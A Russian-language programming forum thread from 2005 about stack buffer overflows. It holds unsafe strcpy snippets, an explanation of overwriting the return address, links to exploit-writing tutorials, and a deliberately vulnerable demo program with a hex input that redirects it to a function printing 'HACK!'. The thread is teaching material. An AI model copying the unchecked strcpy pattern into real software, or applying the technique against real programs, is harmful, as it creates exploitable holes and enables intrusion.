Я тут реально с преподом на экзамене побузил по этому поводу, и почувствовал себя реальным лохом, потому что не сумел логически выстроить стройную цепочку. В общем, билет был именно насчет переполнения стека. Короче вот, что я смог найти из классических вариантов buffer overflow:

Код

int foo(char *s){     char buf[16]; //Вот если б я знал, что эта переменная выделяется в стеке..., а не знал     ...     strcpy(buf, s);//ясно что в s содержится всякая ахинея, которая и вызывает вредоносный код }

Собственно вопрос такой, кто знает, какие есть еще способы переполнить буфер?

Конечно же в subj имелось ввиду переполнение буфера, меня проглючило

Код

func(byte a) {...} func2() {        func(123456789*12345678); }

Компил покажет переполнение. Точно не знаю, но когда-то вроде у меня такое случилосью
Добавлено @ 19:24
Ну тогда:

Код

strcpy(buf+16, s);

Почитай книгу у меня в подписи
Её авторы - это настоящие мастера buffer overflow, под эти дела у них целая глава

Это сообщение отредактировал(а) En_t_end - 22.6.2005, 19:29

En_t_end Поздравляю с модераторством!

Fixin с Комодераторством

Ну... там уж недалеко осталось.

2En_t_end Что-то я в толк не возьму где там эта книга, ты бы лучше прямую ссылку дал.

Royan
Пожалуйста... http://forum.vingrad.ru/index.php?showtopic=53777
Все обсуждения по ней в ту ветку.

Цитата(Royan @ 22.6.2005, 18:52)

Собственно вопрос такой, кто знает, какие есть еще способы переполнить буфер?

Вот уж вопрос так, вопрос - как написать заведомо отстреливающийся код

Вообще-то непонятно почему ты решил, что при
int foo(char *s)

Цитата

в s содержится всякая ахинея, которая и вызывает вредоносный код

если strlen(s) < sizeof(buf) то все нормально, если больше - то уж извини, вне зависимости от того локальный это массив или глобальный, конструкция аналогична
while( char *ptr = NULL )
*ptr++=0;

для того чтобы исключить подобные вещи используй
strncpy(buf,s,sizeof(buf)-1)

--------------

Цитата(En_t_end @ 23.6.2005, 05:22)

Пожалуйста... http://forum.vingrad.ru/index.php?showtopic=53777 Все обсуждения по ней в ту ветку.

Извиняюсь, невнимательно прочитал

Это сообщение отредактировал(а) vadims - 23.6.2005, 07:21

обясняю на пальцах )
функция strcpy на асме выглядит примерно так

Код

proc strcpy,param1,param2 push ebp mov ebp,esp ...... return

в данном случае при вызове нашей функции стек выглядит так
param1
param2
адрес возврата

буффер у нас расчитан на 16 байт
значит передав в качестве параметра некий стринг более 16 байт мы перезапишем адрес возврата
и по завершению функция не вернетсу туда лткуда ее вызвали а прыгнет на тот адрес который мы подсунули типа:
всякиеданные16байт+4байта
вот последние 4 байта у нас и перезапишут адрес возврата


ну эт так сказать теория, на практике иногда не совсем так получается

Цитата(oleg1973 @ 23.6.2005, 13:11)

на практике иногда не совсем так получается

Ой, на практике такое может получиться, что хоть всех святых выноси

Но суть то одна - ОТСТРЕЛИТСЯ программа то !!!

Ссылки:
ru:
Modern_kinds_of_system_attacks: http://lbyte.ru/txt/misc/cabzz.txt

Kids Buffer Overflow Paper: http://www.securitylab.ru/48885.html

Написание эксплойтов переполнения буфера - туториал для новичков: http://wasm.ru/article.php?article=buf_over4noob

Как устроены эксплоиты: http://rootteam.void.ru/article.php?txt=expleng

Ховард М. "Защищенный код": http://84.252.140.76/MSDVD/Zachita.zip
end ru

en:
Writing buffer overflow exploits - a tutorial for beginners: http://www.shellcode.com.ar/docz/bof/mixter-smash.txt

An Introduction to executing arbituary code via stack overflows: http://www.shellcode.com.ar/docz/bof/overflow_tutorial.txt

HEAP OVERFLOW TUTORIAL: http://www.shellcode.com.ar/docz/bof/heap-tute.txt
end en

Пример:

Код

#include <stdio.h>  #include <string.h>  void foo(const char* input)  {       char buf[10];       //Стек программы       printf("My Stack #1: \n%p\n%p\n%p\n%p\n%p\n%p\n\n");       strcpy(buf, input);//Скопировали строку       printf("%s\n", buf);//Напечатали       //Теперь стек такой       printf("My Stack #2: \n%p\n%p\n%p\n%p\n%p\n%p\n\n");  }  //Функция, которую надо вызвать, "взломав" программу  void bar(void)  {       printf("HACK!\n");  }  int main(int argc, char* argv[])  {       //Адреса функций       printf("Adress foo = %p\n", foo);       printf("Adress bar = %p\n", bar);       if (argc != 2)       {                     //Если запуск произведен без пер.строки, скажем                     printf("No String-Argument!\n");                     return -1;       }       foo(argv[1]);       return 0;  }

Компилируем. VC6.0 или lcc или gcc-2.95.2.
Запускаем...
stackOverrun.exe AB23
Если передать большую строку, в стек попадут некоторые символы из передаваемой строки. Посмотрим, какие буквы обозначают коды этих символов. Стек (для VC6) - 00401060. Значит, подставив вместо них адрес функции bar, программа выведет надпись HACK. Передавать надо наоборот, то есть 6010 40

Для VC6 достаточно в HEX-редакторе набрать:
7374 6163 6B4F 7665 7272 756E 2E65 7865 2041 4232 3343 3030 4447 4849 4A60 1040
Сохранить файл с расширением .cmd в директорию с откомпилированным файлом и запустить.